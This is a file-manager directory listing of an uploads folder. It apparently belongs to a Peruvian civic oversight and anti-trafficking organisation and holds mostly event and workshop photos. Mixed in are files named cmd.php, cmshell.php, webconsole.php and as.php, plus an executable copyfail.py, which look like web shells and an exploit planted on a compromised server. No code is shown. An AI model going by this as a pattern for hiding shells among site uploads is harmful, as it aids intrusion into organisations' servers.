403.176 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
2.png
197.716 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
20-09-2019(2).jpg
69.412 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
201949082_127156596281711_8203194078509620556_n.jpg
91.781 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
212751191_1127555194436728_7026080682656123124_n.jpg
58.972 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
215899801_117670197230351_8562816656038039590_n.jpg
136.128 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
23-09-2019(1).png
466.492 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
241317966_138178628512841_7876376516088662013_n.jpg
69.41 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
25-11-2019(2).png
289.964 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
28-01-20(3).png
381.803 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
29-02-20.png
301.182 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
3.jpg
273.738 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
305830933_10159130604283299_7924242776459865476_n (1).jpg
70.453 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
344206096_791535725639541_4494080073880987263_n (1).jpg
121.923 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
344206096_791535725639541_4494080073880987263_n.jpg
226.915 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
348900655_6323974790957311_2523973398295390493_n (1).jpg
165.165 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
348900655_6323974790957311_2523973398295390493_n.jpg
46.387 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
349976500_1291286391814096_5777499196014045182_n (1).jpg
190.846 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
349976500_1291286391814096_5777499196014045182_n.jpg
176.926 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
350112753_748013853679052_7795993100323249641_n (1).jpg
219.02 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
350112753_748013853679052_7795993100323249641_n.jpg
279.443 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
361597749_683858793774485_8464827455252864788_n (1).jpg
205.763 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
361597749_683858793774485_8464827455252864788_n.jpg
387.169 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
381284449_262394846770600_1128663883405904486_n.jpg
752.262 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
382438317_1049347832895194_4543702206860261171_n.jpg
458.439 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
385305143_732299008930463_695607398421805424_n (1).jpg
70.647 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
385305143_732299008930463_695607398421805424_n.jpg
103.541 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
385378871_835278341575669_1927029381317009934_n.jpg
375.668 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
4.jpg
104.437 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
405767397_191412444026725_7916958943005133145_n (1).jpg
154.788 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
405767397_191412444026725_7916958943005133145_n.jpg
524.289 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
405909119_191401490694487_1610996645091948696_n (1).jpg
259.332 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
405909119_191401490694487_1610996645091948696_n.jpg
755.864 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
405924465_191405790694057_4810206170214842038_n (1).jpg
180.416 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
405924465_191405790694057_4810206170214842038_n.jpg
459.977 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
406369902_194331563734813_4461930052979596033_n (1).jpg
84.844 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
406369902_194331563734813_4461930052979596033_n.jpg
240.873 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
428225024_812488127578217_8960140585983088151_n (1).jpg
1.62 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
431791327_826209336206096_6796061502111467551_n (1).jpg
373.872 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
432365801_830576189102744_2143496972798474715_n (1).jpg
387.159 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
432365801_830576189102744_2143496972798474715_n.jpg
683.636 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
434574343_837314218428941_1128630737197128940_n.jpg
560.569 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
442436322_301288959705739_5438972409415357115_n (1).jpg
233.346 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
442436322_301288959705739_5438972409415357115_n.jpg
568.939 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
445654472_873919081435121_6256753653788792032_n (1).jpg
341.333 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
445654472_873919081435121_6256753653788792032_n.jpg
561.344 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
448814328_892342489592780_1937677625249841180_n.jpg
367.536 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
450140406_902376595256036_7931035332137830351_n (1) (1).jpg
272.634 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
452264210_17870644980140333_1282687197426119082_n.jpg
105.671 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
473583135_122194671794179271_7324098631897343884_n.jpg
131.082 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
479900482_17897817180140333_3710940808161224037_n (1).jpg
72.08 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
482987596_691722206520953_6662915262718594426_n.jpg
118.447 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
489034581_1103831161777244_4715592231387126785_n.jpg
669.306 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
490322499_1112755330884827_7042866401508403395_n.jpg
265.241 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
495021015_1128892079271152_2025655757684225298_n.jpg
318.011 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
5.jpg
99.785 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
5eb2f6fb-4521-4c49-8662-6ef1f1266b17 (1).jpg
113.662 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
6.jpeg
126.65 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
8m.jpg
266.973 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Arequipa.jpg
115.892 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Brown and White Simple Moodboard Photo Collage.png
3.59 MB
May 12 2026 04:51:18
siscal5 / siscal5
0644
CAPACITACIÓN A VEEDURIA.jpeg
288.996 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
CHARLA JOVENES 2.png
870.074 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
CHS_20171103_DeLaIlusionAlInfierno11.jpg
22.81 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Cajamarca.jpg
309.392 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Capac segurid linea AREQUIPA (1).jpeg
107.196 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Captura de pantalla 2025-08-05 183512.png
46.345 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Conversatorio - Arequipa Julio 21.jpeg
241.058 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Cusco 2.jpg
191.884 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Cusco.jpg
366.186 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Dia Mundial contra la TDP 30 julio (20).jpeg
218.577 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Encuentro Nacional de Mujeres Arequipa.jpeg
131.292 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Encuentro de autoridades Arequipa .jpeg
173.892 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
FFONDOPLAZALLENA - copia.jpg
293.436 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
FOTO CUSCO.jpeg
393.884 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
Foto arequipa.jpg
109.235 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
GettyImages-1156132465-1280x720.jpg
225.089 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Huanuco 060.jpg
1.31 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Huanuco.jpg
77.054 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IA 2020.jpeg
113.719 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
IA Arequipa 2020.jpeg
199.189 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IA Loreto 2020.jpeg
134.486 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IA Puno 2020.jpeg
112.336 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IMG-20250520-WA0013.jpg
91.73 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
IMG-20250520-WA0021.jpg
327.463 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
IMG-20250520-WA0022.jpg
115.643 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
IMG-20250520-WA0024.jpg
236.283 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IMG_1385.JPG
2 MB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IMG_20240308_190401.jpg
282.113 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
IMG_20240605_202348.jpg
555.791 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
IMG_6726.jpg
1.96 MB
May 12 2026 04:51:19
siscal5 / siscal5
0644
IMG_E1013.JPG
2.89 MB
May 12 2026 04:51:19
siscal5 / siscal5
0644
INTEGRANTES.jpg
152.983 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Junín.jpg
156.612 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Lambayeque.jpg
111.803 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
Lima 2.jpg
130.524 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Lima.jpg
86.738 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Loreto 2.jpg
102.983 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Loreto.jpg
52.646 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Madre de Dios 2.jpg
357.365 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Madre de Dios.jpg
74.365 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
PNP.png
310.634 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Piura.jpg
61.943 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Reunión Ordinaria de la Veeduria Mirada Ciudadana.png
104.894 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
Reunión de Veeduría Mirada Ciudadana.png
410.001 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Sin título-2_Mesa de trabajo 1 copia.png
2.19 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
TALLER TRANSPORTISTAS-MARZO 2010 001.jpg
1.68 MB
May 12 2026 04:51:19
siscal5 / siscal5
0644
TAXISTAS.jpg
197.099 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
UDAVIT2.jpg
147.079 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
VECINALES.jpg
241.88 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
VIII INFORME ALTERNATIVO FOTOS.JPG
3.17 MB
May 12 2026 04:51:18
siscal5 / siscal5
0644
VIII Informe Alternativo.png
509.243 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
Veeduria 18Agosto - Taller colegio de periodistas.jpg
129.646 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
Veeduria Lima.png
249.687 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Veeduria Taller del 20Agosto 2020.jpg
115.251 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
Veeduría Arequipa 1.jpeg
247.834 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
Veeduría Cusco.png
580.651 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2019-06-04 at 1.39.28 PM.jpeg
542.556 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2019-07-02 at 9.48.55 AM (2).jpg
310.107 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2019-07-31 at 08.20.44.jpeg
126.393 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2019-07-31 at 12.29.07.jpeg
124.703 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2020-07-08 at 12.42.53.jpeg
131.913 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-01-07 at 5.27.31 PM.jpeg
180.611 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-01-28 at 3.33.39 PM.jpeg
168.399 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-02-05 at 3.36.04 PM.jpeg
152.761 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-02-11 at 3.59.07 PM.jpeg
172.373 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-02-12 at 3.49.54 PM (1).jpeg
77.808 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-03-05 at 3.46.13 PM.jpeg
177.718 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-03-15 at 3.33.50 PM.jpeg
146.239 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2021-03-19 at 12.12.16 PM (1).jpeg
330.791 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-03-31 at 12.52.22 PM.jpeg
184.942 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-04-08 at 3.23.07 PM.jpeg
122.18 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-04-29 at 5.41.43 PM.jpeg
98.393 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-05-03 at 5.07.21 PM.jpeg
165.301 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-05-03 at 6.04.44 PM.jpeg
175.84 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-05-21 at 5.35.59 PM.jpeg
170.084 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-08-05 at 11.03.26 AM.jpeg
348.069 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2021-08-31 at 11.35.01 AM.jpeg
184.431 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2021-08-31 at 11.38.24 AM.jpeg
175.711 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-09-17 at 10.23.57 AM.jpeg
171.638 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2021-10-27 at 5.28.55 PM (2).jpeg
170.083 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2022-01-16 at 11.12.37 AM.jpeg
111.388 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2022-01-20 at 9.16.52 AM.jpeg
80.122 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2022-02-04 at 16.36.14.jpeg
178.615 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2022-02-23 at 17.43.56 (1).jpeg
150.408 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2022-03-10 at 15.10.05.jpeg
318.779 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2022-03-10 at 15.34.33.jpeg
326.83 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2022-04-22 at 5.06.26 PM.jpeg
163.937 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2022-06-17 at 5.10.17 PM.jpeg
147.087 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2023-02-22 at 17.43.40 (1).jpeg
114.545 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2023-02-22 at 17.43.40.jpeg
127.295 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-02-19 at 11.30.23.jpeg
110.461 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-03-06 at 11.05.34.jpeg
21.323 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2024-05-24 at 2.59.36 PM.jpeg
186.907 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-16 at 6.33.53 PM.jpeg
254.93 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-16 at 7.13.09 PM.jpeg
53.572 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-07-16 at 7.37.08 PM.jpeg
39.925 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 10.56.16 AM.jpeg
373.317 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 12.25.41 PM (1).jpeg
163.504 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 12.25.41 PM.jpeg
163.504 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 12.42.35 PM.jpeg
271.559 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 12.42.37 PM.jpeg
271.559 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 3.24.14 PM.jpeg
191.353 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 3.26.43 PM.jpeg
149.479 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-07-17 at 3.42.39 PM.jpeg
73.257 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-18 at 11.08.41 AM.jpeg
373.317 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-24 at 14.02.52.jpeg
270.391 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-07-24 at 14.21.30.jpeg
220.512 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-08-15 at 6.59.13 PM.jpeg
78.512 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-08-15 at 7.07.12 PM.jpeg
313.161 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2024-10-02 at 10.41.44 (1).jpeg
316.495 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-02 at 10.42.48.jpeg
158.393 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 2.06.49 PM.jpeg
94.308 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 2.42.51 PM.jpeg
508.513 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 2.51.01 PM.jpeg
216.846 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 2.52.31 PM.jpeg
126.643 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 3.04.00 PM.jpeg
82.039 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 3.14.23 PM.jpeg
157.7 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 3.31.02 PM.jpeg
208.597 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 3.52.12 PM.jpeg
120.458 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 4.06.49 PM.jpeg
174.394 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 4.28.11 PM.jpeg
93.06 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 4.36.44 PM.jpeg
103.741 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 4.44.30 PM.jpeg
52.6 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2024-10-25 at 4.50.29 PM.jpeg
193.434 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 11.52.26.jpeg
96.145 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 11.55.10.jpeg
125.855 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 11.59.35.jpeg
82.831 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 12.35.15.jpeg
620.003 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 12.45.13.jpeg
187.119 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 12.48.07.jpeg
326.451 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 12.48.54.jpeg
86.71 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 12.55.39.jpeg
516.575 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 16.13.23.jpeg
122.792 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 16.34.31.jpeg
130.021 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 16.53.27.jpeg
90.423 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 17.14.18.jpeg
114.497 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 17.19.01.jpeg
128.195 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-05-21 at 17.35.01.jpeg
234.364 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-06-25 at 18.16.09.jpeg
242.439 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 10.09.43 (1).jpeg
88.291 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 10.32.16.jpeg
80.888 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 10.33.51.jpeg
175.062 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 12.04.52.jpeg
319.854 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 12.31.45.jpeg
146.802 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 12.41.19.jpeg
247.586 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-08-08 at 12.59.46.jpeg
143.098 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-08-29 at 13.56.37.jpeg
144.406 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-09-05 at 15.54.24.jpeg
185.462 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-09-05 at 16.19.50.jpeg
119.716 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-09-05 at 16.27.44.jpeg
216.89 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-09-05 at 16.33.12.jpeg
127.288 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-09-16 at 11.02.08.jpeg
67.816 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-09-26 at 11.51.24.jpeg
249.578 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-09-26 at 11.51.34.jpeg
132.523 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-09-26 at 13.09.46.jpeg
94.328 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-09-26 at 14.51.37.jpeg
187.168 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-10-15 at 09.58.50.jpeg
173.726 KB
May 12 2026 04:51:20
siscal5 / siscal5
0644
WhatsApp Image 2025-11-26 at 13.31.43.jpeg
193.621 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-11-26 at 13.31.44.jpeg
221.979 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-12-04 at 12.17.19.jpeg
389.598 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-12-04 at 12.29.44.jpeg
166.972 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
WhatsApp Image 2025-12-04 at 12.35.57.jpeg
74.191 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-12-04 at 12.39.18.jpeg
210.957 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
WhatsApp Image 2025-12-04 at 12.53.52.jpeg
91.406 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
WhatsApp Image 2025-12-19 at 09.36.20.jpeg
382.033 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
aass.jpg
131.082 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
actividad-muestra-1.jpg
126.512 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
actividad-muestra-2.jpg
125.492 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
as.php
29.004 KB
May 20 2026 18:47:13
siscal5 / siscal5
0644
cajamarca 2.jpg
161.75 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
charla jovenes.png
766.802 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
charla nivel secundario.png
473.676 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
charla sensibilizacion.png
445.991 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
check_5610944.png
19.756 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
cisco-3.png
419.554 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
cmd.php
0.583 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
cmshell.php
29.202 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
collage dia nacional contra la TdP 23 SETIEMBRE .jpeg
306.102 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
contraloria mdd.png
180.634 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
copyfail.py
17.783 KB
May 12 2026 04:51:18
siscal5 / siscal5
0755
cusco-1.png
238.638 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
cusco-2.png
561.323 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
dsadsa.jpg
282.113 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
esek.jpg
168.816 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
foto 02 feri PJ Paucar.jpeg
519.647 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
genero y violencia.png
142.272 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
handsome-smiling-hipster-man-posing-studio.jpg
7.43 MB
May 12 2026 04:51:18
siscal5 / siscal5
0644
images.jfif
6.527 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
jovenes COREJU.png
153.688 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
marcha virtual.png
250.71 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
pportada-estdistica-01-300x300.png
70.338 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
qrcode-generado.png
0.688 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
reunion zoom UDAVIT.png
215.115 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
vee.jpg
249.776 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
veeduria (1).jpg
233.822 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
veeduria Puno.jpg
529.215 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
veeduria cusco.jpg
139.504 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
veeduria.jpg
156.903 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
webconsole.php
193.65 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
xxsdd.jpg
78.356 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
zoom.jpg
82.802 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
zoom.png
100.82 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
